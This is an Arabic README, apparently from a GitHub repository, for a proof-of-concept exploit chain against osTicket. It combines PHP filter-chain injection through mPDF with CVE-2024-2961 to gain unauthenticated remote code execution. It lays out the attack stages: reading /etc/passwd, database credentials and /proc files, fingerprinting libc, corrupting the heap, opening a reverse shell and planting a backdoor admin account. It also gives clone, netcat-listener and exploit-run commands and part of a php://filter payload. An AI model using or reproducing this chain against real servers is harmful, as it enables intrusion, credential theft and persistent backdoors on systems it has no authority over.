استغلال سلسلة كاملة يجمع بين حقن سلسلة مرشحات PHP مع CVE-2024-2961 (CNEXT) لتنفيذ كود عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة.
سلسلة استغلال كاملة تجمع بين حقن سلسلة مرشحات PHP و CVE-2024-2961 (CNEXT) لتنفيذ أوامر عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة.
يحتوي هذا المستودع على إثبات مفهوم لاستغلال CVE-2026-22200، وهي ثغرة أمنية خطيرة تؤثر على إصدارات osTicket ≤ 1.18.2. يجمع الاستغلال بين تقنيتين قويتين:
النتيجة: تنفيذ أوامر عن بُعد غير مصادق عليه على خوادم osTicket الضعيفة.
نقاط CVSS: 9.8 (حرجة)
يسمح تكامل mPDF في osTicket للمستخدمين غير المصادق عليهم بحقن سلاسل مرشحات PHP ضارة عبر حمولات HTML مصممة خصيصًا في تذاكر الدعم. يتيح هذا:
السبب الجذري: التحقق غير الكافي من عناوين URL للصور في HTML المقدم من المستخدم قبل تمريرها إلى mPDF.
نقاط CVSS: 9.8 (حرجة)
تجاوز سعة المخزن المؤقت في iconv() من glibc عند معالجة مجموعة الأحرف ISO-2022-CN-EXT. بالاقتران مع سلاسل مرشحات PHP، يتيح هذا:
إصدارات glibc الضعيفة: < 2.39 (فبراير 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. الاستطلاع │
│ └─ كشف osTicket، تحديد مواضيع النص الغني │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. المصادقة │
│ └─ تسجيل ذاتي OR استخدام بيانات اعتماد موجودة │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. استخراج الملفات (سلاسل مرشحات PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (بيانات اعتماد قاعدة البيانات، SECRET_SALT) │
│ ├─ /proc/self/maps (تخطيط الذاكرة) │
│ └─ /proc/self/environ (متغيرات البيئة) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. بصمة libc │
│ ├─ استخراج libc جزئي عبر سلاسل المرشحات │
│ ├─ استخراج GNU Build ID │
│ └─ تحميل libc كامل من libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. استغلال CNEXT لـ RCE │
│ ├─ إنشاء حمولة إفساد الكومة │
│ ├─ الحقن عبر رد التذكرة (مع إصلاحات تنفيذ المرشحات) │
│ ├─ التشغيل عبر تصدير PDF (يتعطل الخادم) │
│ └─ تنفيذ شل عكسية │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ما بعد الاستغلال │
│ ├─ شل عكسية تفاعلية │
│ ├─ الوصول إلى قاعدة البيانات (باستخدام DBPASS المستخرج) │
│ └─ إنشاء حساب إداري خلفي │
└─────────────────────────────────────────────────────────────────┘
# استنساخ المستودع
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# تثبيت الحزم المطلوبة
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OR
venv\Scripts\activate # Windows
pip install -r requirements.txt
# الطرفية 1: بدء المستمع
nc -lvnp 4444
# الطرفية 2: تشغيل الاستغلال
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# استخدام بروكسي (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# فرض معرف موضوع مساعدة محدد
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# تعطيل الإخراج الملون (للتسجيل)
python3 osticket_exploit.py https://target.com/osticket --no-color
إذا كان التسجيل معطلاً، سيُطلب منك إدخال بيانات الاعتماد:
python3 osticket_exploit.py https://target.com/osticket
[?] أدخل البريد الإلكتروني للحساب الجديد (أو الموجود): [email protected]
[?] أدخل كلمة المرور: ********
يستخدم الاستغلال سلسلة مرشحات متطورة لإضافة رأس BMP إلى الملفات العشوائية، متجاوزًا قيود أنواع الملفات في mPDF:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... أكثر من 50 تحويل iconv ...]
convert.base64-decode/resource=/etc/passwd